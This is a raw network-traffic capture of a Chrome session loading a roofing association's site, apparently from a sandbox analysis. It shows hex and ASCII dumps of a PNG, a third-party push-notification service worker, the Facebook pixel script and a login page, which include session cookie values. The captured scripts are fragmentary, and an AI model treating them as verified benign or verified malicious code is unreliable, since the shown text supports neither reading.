2024-04-23 14:53:57 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:57 GMT Content-Type: image/png Content-Length: 2118 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:28:39 GMT ETag: "1be1daa-846-5d9f3d2b65bc0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:57 UTC	2118	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 03 00 00 00 0b df 81 d0 00 00 00 48 50 4c 54 45 91 6e 6c a3 9f a1 80 40 39 a6 a6 a9 76 26 1c a7 a8 ab 75 23 1a a7 a8 ab 76 24 1b 8e 66 63 a7 a7 ab 74 21 18 a7 a7 ab a7 a7 ab 87 53 4f 74 21 18 a7 a9 ac 74 20 16 a7 a9 ad 9d 8e 8f a7 a9 ad 75 22 18 a7 a9 ad 74 20 16 9e 7f 23 34 00 00 00 18 74 52 4e 53 00 0c 10 1e 24 34 3d 4f 5e 62 69 84 89 a5 ac b0 bc d5 d9 e7 ef ef fe fe d0 81 dd 74 00 00 07 95 49 44 41 54 78 da cd 9c db 9a a3 2a 10 46 05 15 89 82 20 8d fa fe 6f 3a 1f 27 83 08 c6 64 12 a1 66 5f ec 9b ee 59 f3 57 51 27 d4 aa ba 62 75 47 68 5f 83 aa 30 ab 7b c2 69 df 96 06 56 f7 5c 0a 4e ba c2 b8 da 9e cb 45 6a c1 8a c2 22 7c 59 96 45 70 d2 b6 a0 24 2c 21 15 97 14 b4 ef ca e1 6a a9 58 Data Ascii: PNGIHDRHPLTEnl@9v&u#v$fct!SOt!t u"t #4tRNS$4=O^bitIDATx*F o:'df_YWQ'buGh_0{iV\NEj"\|YEp$,!jX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49877	198.143.165.219	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:57 UTC	418	OUT	GET /sw.js HTTP/1.1 Host: wds.wesq.me Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:57 UTC	490	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 14:53:57 GMT Content-Type: application/javascript Content-Length: 2203 Last-Modified: Thu, 04 Apr 2024 09:58:39 GMT Connection: close Vary: Accept-Encoding ETag: "660e79cf-89b" Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src ; style-src 'unsafe-inline'; Accept-Ranges: bytes
2024-04-23 14:53:57 UTC	2203	IN	Data Raw: 2f 2a 20 67 6c 6f 62 61 6c 20 66 65 74 63 68 2c 20 50 72 6f 6d 69 73 65 20 2a 2f 0a 0a 73 65 6c 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 70 75 73 68 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 76 61 72 20 46 45 45 44 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 66 65 65 64 2e 63 68 69 6d 75 6b 61 70 70 61 2e 63 6f 6d 2f 66 65 65 64 2e 70 68 70 3f 76 3d 31 37 31 32 32 32 34 36 39 35 26 65 70 3d 27 3b 0a 20 20 20 20 76 61 72 20 45 52 52 4f 52 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 66 65 65 64 2e 63 68 69 6d 75 6b 61 70 70 61 2e 63 6f 6d 2f 65 2e 70 68 70 3f 6d 3d 27 3b 0a 20 20 20 20 76 61 72 20 70 72 6f 6d 69 73 65 2c 20 64 61 74 61 2c 20 6f 70 74 69 6f 6e 73 3b 0a 0a 20 20 20 20 69 66 20 28 65 2e 64 61 74 Data Ascii: /* global fetch, Promise */self.addEventListener('push', function(e) { var FEED_URL = 'https://feed.chimukappa.com/feed.php?v=1712224695&ep='; var ERROR_URL = 'https://feed.chimukappa.com/e.php?m='; var promise, data, options; if (e.dat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49880	31.13.88.13	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:57 UTC	543	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:57 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-04-23 14:53:57 UTC	1496	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-04-23 14:53:57 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-04-23 14:53:58 UTC	14842	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-04-23 14:53:58 UTC	16384	IN	Data Raw: 6c 6c 3b 61 3d 61 2e 65 78 74 72 61 63 74 6f 72 5f 63 6f 6e 66 69 67 3b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 78 74 2c 63 3d 61 2e 70 61 72 61 6d 65 74 65 72 5f 74 79 70 65 3b 61 3d 61 2e 76 61 6c 75 65 3b 62 3d 62 21 3d 6e 75 6c 6c 26 26 74 79 70 65 6f 66 20 62 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 62 21 3d 3d 22 22 3f 62 3a 6e 75 6c 6c 3b 63 3d 64 28 63 29 3b 61 3d 61 21 3d 6e 75 6c 6c 26 26 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 61 21 3d 3d 22 22 3f 61 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 21 3d Data Ascii: ll;a=a.extractor_config;if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;var b=a.context,c=a.parameter_type;a=a.value;b=b!=null&&typeof b==="string"&&b!==""?b:null;c=d(c);a=a!=null&&typeof a==="string"&&a!==""?a:null;return b!=
2024-04-23 14:53:58 UTC	16384	IN	Data Raw: 50 41 52 41 4d 45 54 45 52 2c 78 3d 73 2e 72 65 61 64 50 61 63 6b 65 64 43 6f 6f 6b 69 65 2c 79 3d 73 2e 43 4c 49 43 4b 54 48 52 4f 55 47 48 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 3b 73 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 70 65 72 69 6d 65 6e 74 4e 61 6d 65 73 22 29 3b 76 61 72 20 7a 3d 73 2e 55 53 45 5f 46 42 43 5f 41 53 5f 43 41 43 48 45 5f 4b 45 59 5f 45 58 50 45 52 49 4d 45 4e 54 2c 41 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 51 45 22 29 2c 42 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 4d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 Data Ascii: PARAMETER,x=s.readPackedCookie,y=s.CLICKTHROUGH_COOKIE_NAME;s=f.getFbeventsModules("SignalsFBEventsExperimentNames");var z=s.USE_FBC_AS_CACHE_KEY_EXPERIMENT,A=f.getFbeventsModules("SignalsFBEventsQE"),B=f.getFbeventsModules("SignalsFBEventsModuleEncodings
2024-04-23 14:53:58 UTC	16384	IN	Data Raw: 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 75 61 72 64 72 61 69 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 69 2c 6a 2c 6b 29 7b 76 61 72 20 6c 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6c 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 31 3b 62 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 76 61 72 20 63 3d 61 72 67 75 6d 65 6e 74 73 5b 62 5d 3b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 63 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 Data Ascii: Registered("SignalsFBEventsGuardrail",function(){return function(g,i,j,k){var l={exports:{}};l.exports;(function(){"use strict";var a=Object.assign\|\|function(a){for(var b=1;b<arguments.length;b++){var c=arguments[b];for(var d in c)Object.prototype.hasOwnP
2024-04-23 14:53:58 UTC	1541	IN	Data Raw: 73 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 61 72 72 61 79 4f 66 28 62 2e 73 74 72 69 6e 67 28 29 29 29 7d 29 29 2c 61 64 64 69 74 69 6f 6e 61 6c 55 73 65 72 44 61 74 61 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 6f 62 6a 65 63 74 57 69 74 68 46 69 65 6c 64 73 28 7b 73 65 6e 64 46 42 4c 6f 67 69 6e 49 44 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 5b 22 62 6f 6f 6c 65 61 6e 22 5d 28 29 29 7d 29 29 7d 29 3b 6b 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 4f 70 74 49 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 Data Ascii: s:b.allowNull(b.arrayOf(b.string()))})),additionalUserData:b.allowNull(b.objectWithFields({sendFBLoginID:b.allowNull(b["boolean"]())}))});k.exports=a})();return k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsOptIn",function(){return functi
2024-04-23 14:53:58 UTC	14843	IN	Data Raw: 6c 3f 63 28 64 28 62 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 5b 61 5d 3d 3d 3d 21 30 7d 29 3a 5b 5d 7d 7d 5d 29 3b 72 65 74 75 72 6e 20 61 7d 28 29 3b 6c 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 50 61 72 61 6c 6c 65 6c 46 69 72 65 43 6f 6e 66 69 67 54 79 70 65 64 65 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 Data Ascii: l?c(d(b),function(a){return b[a]===!0}):[]}}]);return a}();l.exports=a})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsParallelFireConfigTypedef",function(){return function(g,h,i,j){var k={exports:{}};k.exports;(function(){"use s
2024-04-23 14:53:58 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 29 29 72 65 74 75 72 6e 3b 66 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 62 2c 22 63 75 73 74 6f 6d 44 61 74 61 22 29 26 26 74 79 70 65 6f 66 20 62 2e 63 75 73 74 6f 6d 44 61 74 61 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 62 2e 63 75 73 74 6f 6d 44 61 74 61 21 3d 3d 6e 75 6c 6c 3b 66 7c 7c 28 62 2e 63 75 73 74 6f 6d 44 61 74 61 3d 7b 7d 29 3b 71 28 62 29 7d 6b 2e 65 78 70 6f 72 74 73 3d 72 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 65 6e 64 45 76 Data Ascii: tion(a){return a}))return;f=Object.prototype.hasOwnProperty.call(b,"customData")&&typeof b.customData!=="undefined"&&b.customData!==null;f\|\|(b.customData={});q(b)}k.exports=r})();return k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsSendEv
2024-04-23 14:53:58 UTC	16384	IN	Data Raw: 26 62 2e 70 75 73 68 28 73 5b 63 5d 29 3b 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 62 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 20 61 72 72 61 79 20 69 73 20 6e 75 6c 6c 20 6f 72 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 3b 61 3d 4f 62 6a 65 63 74 28 61 29 3b 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 3e 3e 3e 30 3b 69 66 28 74 79 70 65 6f 66 20 62 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 62 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 76 61 72 20 64 3d 6e 65 77 20 41 72 72 61 79 28 63 29 2c 65 3d 30 3b 77 68 69 6c 65 28 65 3c 63 29 7b 76 61 72 20 66 3b 65 20 69 6e 20 61 26 26 28 66 3d 61 Data Ascii: &b.push(s[c]);return b}function v(a,b){if(a==null)throw new TypeError(" array is null or not defined");a=Object(a);var c=a.length>>>0;if(typeof b!=="function")throw new TypeError(b+" is not a function");var d=new Array(c),e=0;while(e<c){var f;e in a&&(f=a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49884	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:57 UTC	650	OUT	GET /login HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:58 UTC	1086	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload set-cookie: serviceID=10085; expires=Tue, 23-Apr-2024 15:53:58 GMT; Max-Age=3600; path=/; secure; httponly p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" expires: Mon, 1 Jan 2001 00:00:00 GMT last-modified: Tue, 23 Apr 2024 14:53:58 GMT Cache-Control: post-check=0, pre-check=0 pragma: no-cache vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: DYNAMIC Set-Cookie: serviceID=10085; expires=Tue, 23-Apr-2024 15:53:58 GMT; Max-Age=3600; path=/; secure; httponly Set-Cookie: 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; path=/; secure; HttpOnly Set-Cookie: Login=1; secure; httponly Set-Cookie: __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038; path=/; domain=.memberclicks.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 878eafa68eefadb0-ATL
2024-04-23 14:53:58 UTC	283	IN	Data Raw: 37 62 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 61 7a 63 Data Ascii: 7b61<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us" lang="en-us" ><head><link rel="stylesheet" href="https://d1azc
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 34 2f 4d 43 46 72 6f 6e 74 45 6e 64 2f 73 74 79 6c 65 2d 63 66 2e 63 73 73 3f 70 32 37 39 62 71 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c Data Ascii: 4/MCFrontEnd/style-cf.css?p279bq"><link href='https://fonts.googleapis.com/css?family=Roboto:400,700' rel='stylesheet' type='text/css'> <meta http-equiv="content-type" content="text/html; charset=utf-8" /><script type="text/javascript">(window.NREUM\|
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 6d 65 6e 74 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 7d 63 61 74 63 68 7b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 3b 76 61 72 20 75 3d 72 28 37 30 35 36 29 2c 6c 3d 72 28 35 30 29 3b 63 6f 6e 73 74 20 66 3d 22 5b 64 61 74 61 2d 6e 72 2d 6d 61 73 6b 5d 22 2c 68 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 7b 6d 61 73 6b 5f 73 65 6c 65 63 74 6f 72 3a 22 2a 22 2c 62 6c 6f 63 6b 5f 73 65 6c 65 63 74 6f 72 3a 22 5b 64 61 74 61 2d 6e 72 2d 62 6c 6f 63 6b 5d 22 2c 6d 61 73 6b 5f 69 6e 70 75 74 5f 6f 70 74 69 6f 6e 73 3a 7b 63 6f 6c 6f 72 3a 21 31 2c 64 61 74 65 3a 21 31 2c 22 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 22 3a 21 31 2c 65 6d 61 69 6c 3a 21 31 2c 6d 6f 6e Data Ascii: ment.createDocumentFragment().querySelector(e)}catch{return!1}return!0};var u=r(7056),l=r(50);const f="[data-nr-mask]",h=()=>{const e={mask_selector:"*",block_selector:"[data-nr-block]",mask_input_options:{color:!1,date:!1,"datetime-local":!1,email:!1,mon
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 6e 20 65 2e 6d 61 73 6b 5f 73 65 6c 65 63 74 6f 72 7d 2c 73 65 74 20 6d 61 73 6b 5f 74 65 78 74 5f 73 65 6c 65 63 74 6f 72 28 74 29 7b 64 28 74 29 3f 65 2e 6d 61 73 6b 5f 73 65 6c 65 63 74 6f 72 3d 22 22 2e 63 6f 6e 63 61 74 28 74 2c 22 2c 22 29 2e 63 6f 6e 63 61 74 28 66 29 3a 22 22 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 74 3f 65 2e 6d 61 73 6b 5f 73 65 6c 65 63 74 6f 72 3d 66 3a 28 30 2c 6c 2e 5a 29 28 22 41 6e 20 69 6e 76 61 6c 69 64 20 73 65 73 73 69 6f 6e 5f 72 65 70 6c 61 79 2e 6d 61 73 6b 5f 73 65 6c 65 63 74 6f 72 20 77 61 73 20 70 72 6f 76 69 64 65 64 2e 20 27 2a 27 20 77 69 6c 6c 20 62 65 20 75 73 65 64 2e 22 2c 74 29 7d 2c 67 65 74 20 62 6c 6f 63 6b 5f 63 6c 61 73 73 28 29 7b 72 65 74 75 72 6e 22 6e 72 2d 62 6c 6f 63 6b 22 7d 2c 67 65 74 20 69 Data Ascii: n e.mask_selector},set mask_text_selector(t){d(t)?e.mask_selector="".concat(t,",").concat(f):""===t\|\|null===t?e.mask_selector=f:(0,l.Z)("An invalid session_replay.mask_selector was provided. '*' will be used.",t)},get block_class(){return"nr-block"},get i
